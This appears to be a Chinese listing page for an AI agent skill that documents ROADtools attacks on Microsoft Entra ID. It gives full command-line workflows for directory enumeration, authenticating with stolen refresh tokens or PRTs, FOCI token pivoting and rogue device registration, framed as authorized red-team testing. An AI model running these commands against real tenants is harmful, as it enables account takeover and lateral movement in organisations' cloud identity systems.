关于 attacking-entra-id-with-roadtools
用于获准的 Microsoft Entra ID 安全测试的 ROADtools 技能,涵盖目录侦察与令牌操作。它结合 ROADrecon 的离线目录分析和 roadtx 的令牌获取、交换及 PRT 流程。
主要功能
- 01收集并离线浏览目录对象
- 02分析条件访问策略
- 03导出数据供 BloodHound 分析
- 04获取并跨资源交换令牌
- 05执行设备注册与 PRT 身份验证
适用场景
- 01在授权的 Entra ID 渗透测试中枚举租户
- 02检查条件访问和设备合规控制
- 03将目录数据导出以梳理攻击路径
- 04验证令牌跨资源访问能力
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill attacking-entra-id-with-roadtools安装后在 Claude Code 中输入/attacking-entra-id-with-roadtools确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py详细介绍
使用 ROADtools 攻击 Entra ID
仅限授权使用: ROADtools 会与真实的 Microsoft Entra ID (Azure AD) 租户交互,可以注册设备、签发和交换令牌,并枚举目录对象。仅可对你自己拥有或已获得明确书面授权测试的租户使用。未经授权访问云租户是违法行为。
概述
ROADtools(由 Dirk-jan Mollema 开发)是 Microsoft Entra ID 事实上的攻击性工具包。它有两个主要组件:
- ROADrecon — 通过 Azure AD Graph API 向 Entra ID 进行身份验证,将完整目录收集到本地 SQLite 数据库中,并提供 Angular GUI,用于离线探索用户、组、角色、应用程序、服务主体、条件访问策略和设备对象。插件系统可导出到 BloodHound 并分析 CA 策略。
- roadtx (ROADtools Token eXchange) — 跨多种 OAuth 流程(ROPC、设备代码、授权代码、刷新令牌交换、应用/联合应用)获取并交换 Entra 签发的令牌,执行设备注册,并处理 Primary Refresh Token (PRT) 操作,包括基于 PRT 的 SSO 和 cookie 签发。其对 FOCI (Family of Client IDs) 的感知能力,使得一个第一方客户端的刷新令牌可以被兑换为另一个资源的令牌。
两者共同覆盖针对云身份的 Discovery 阶段:枚举租户(T1087.004 Account Discovery: Cloud Account),并获取/操纵访问 Microsoft Graph、Azure Resource Manager 和其他资源所需的令牌。ROADrecon 的离线数据库使侦察隐蔽且快速;roadtx 使令牌窃取、PRT 滥用和跨资源横向移动变得切实可行。
何时使用
- 在获得授权的 Azure / Entra ID 红队演练或云渗透测试期间。
- 当你拥有立足点凭据、刷新令牌或 PRT,并需要枚举租户时。
- 当你必须将令牌从一个资源(例如 Azure CLI)转向另一个资源(例如 Microsoft Graph)时。
- 当验证条件访问、设备合规性和令牌控制是否确实能约束攻击者时。
- 当绘制 Entra 攻击路径时(导出到 BloodHound 进行图分析)。
前提条件
- 对目标租户的书面授权和明确的范围界定。
- 一个起始凭据:用户名/密码(无 MFA 流程)、设备代码会话、刷新/访问令牌,或已注册设备的 PRT。
- Python 3.7+(roadtx Selenium 流程需要匹配的 geckodriver/Firefox)。
# Core install (roadlib is a shared dependency, pulled in automatically)
python -m pip install roadrecon
python -m pip install roadtx
# Verify
roadrecon --help
roadtx --help
目标
- 通过适当的流程向 Entra ID 进行身份验证(MFA 场景首选设备代码)。
- 使用 ROADrecon 收集完整目录,并在 GUI 中分析。
- 将目录导出到 BloodHound,并运行 CA 策略分析插件。
- 使用 roadtx 获取令牌,并跨资源/客户端交换刷新令牌。
- 演示基于 PRT 的 SSO,并记录由此获得的访问权限。
MITRE ATT&CK 映射
| ID | 战术 | 官方技术名称 | 在本技能中的作用 |
|---|---|---|---|
| T1087.004 | Discovery | Account Discovery: Cloud Account | ROADrecon 枚举租户用户/账户 |
| T1069.003 | Discovery | Permission Groups Discovery: Cloud Groups | ROADrecon 枚举 Entra 组和角色 |
| T1538 | Discovery | Cloud Service Dashboard | 通过 GUI 探索租户配置 |
| T1550.001 | Defense Evasion / Lateral Movement | Use Alternate Authentication Material: Application Access Token | roadtx 跨资源交换刷新令牌 |
| T1528 | Credential Access | Steal Application Access Token | roadtx 获取 PRT/令牌 |
工作流
步骤 1:使用 ROADrecon 进行身份验证
选择与你的立足点相匹配的流程。设备代码支持 MFA;ROPC(-u/-p)不支持。
# Username/password (legacy, no MFA)
roadrecon auth -u [email protected] -p 'Password123!'
# Device-code flow (supports MFA)
roadrecon auth --device-code
# From a stolen access or refresh token
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>
# From a PRT (with session key) for SSO-grade access
roadrecon auth --prt <prt> --prt-sessionkey <session_key>
身份验证会在工作目录中写入 .roadtools_auth。
步骤 2:收集目录
# Full gather into roadrecon.db (default)
roadrecon gather
# Include MFA/auth-method details (requires a privileged role)
roadrecon gather --mfa
步骤 3:在 GUI 中探索
roadrecon gui
# Browse to http://127.0.0.1:5000 — users, groups, roles, applications,
# service principals, devices, and conditional-access policies, all offline.
步骤 4:运行分析插件
# Analyze conditional-access policies
roadrecon plugin policies -h
roadrecon plugin policies
# Export the gathered data to a BloodHound-importable format
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound
第 5 步:使用 roadtx 获取令牌
# ROPC: get a Microsoft Graph token for the Azure CLI client
roadtx gettokens -u [email protected] -p 'Password123!' -c azcli -r msgraph
# Device-code style interactive auth for the Teams client to Graph
roadtx interactiveauth -c msteams -r msgraph
# From an existing refresh token
roadtx gettokens --refresh-token <refresh_token> -r msgraph
令牌会写入 .roadtools_auth(使用 --tokens-stdout 可打印输出)。
第 6 步:跨资源交换刷新令牌(FOCI 转移)
为一个第一方客户端获取的 FOCI 刷新令牌可用于兑换另一个资源,而无需重新认证。
# Convert the stored refresh token to an Azure Resource Manager token
roadtx refreshtokento -r azrm
# Convert to a scoped Graph token via the Teams client
roadtx refreshtokento -c msteams -r msgraph
# Find which first-party clients hold a given scope
roadtx getscope -s https://graph.microsoft.com/mail.read --foci
第 7 步:设备注册与基于 PRT 的 SSO
# Register a (virtual) device to the tenant
roadtx device -n redteam-device
# Request a PRT using the device cert/key and user creds
roadtx prt -u [email protected] -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem
# Use the PRT to authenticate a client to a resource (SSO-grade)
roadtx prtauth -c msteams -r msgraph
# Enrich a PRT with an interactive MFA claim
roadtx prtenrich -u [email protected]
第 8 步:检查令牌
# Decode and print claims of the stored / a supplied token
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .
工具与资源
| 工具 | 用途 | 主要来源 |
|---|---|---|
| ROADtools(仓库) | 工具包概览 + wiki | https://github.com/roadtools/ROADtools |
| ROADrecon wiki | Auth/gather/gui/plugin 使用 | https://github.com/roadtools/ROADtools/wiki/Getting-started-with-ROADrecon |
| roadtx wiki | 令牌交换 + PRT/设备流程 | https://github.com/roadtools/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx) |
| BloodHound CE | 导出 Entra 数据的图形分析 | https://github.com/SpecterOps/BloodHound |
| Microsoft 标识平台 | 令牌/流程参考 | https://learn.microsoft.com/entra/identity-platform/ |
验证标准
- 通过授权流程认证到目标租户;已创建
.roadtools_auth。 - 目录已收集到
roadrecon.db(在角色允许时使用--mfa)。 - 已浏览 GUI;已审查用户、组、角色、应用、CA 策略。
- 已执行 CA 策略和 BloodHound 插件;数据已导出。
- 已使用 roadtx 为至少一个资源获取令牌。
- 已演示向第二个资源交换刷新令牌(FOCI 转移)。
- 已注册设备并演示基于 PRT 的 SSO(在范围内)。
- 已使用
roadtx describe检查令牌声明。 - 已为项目报告记录发现和访问情况。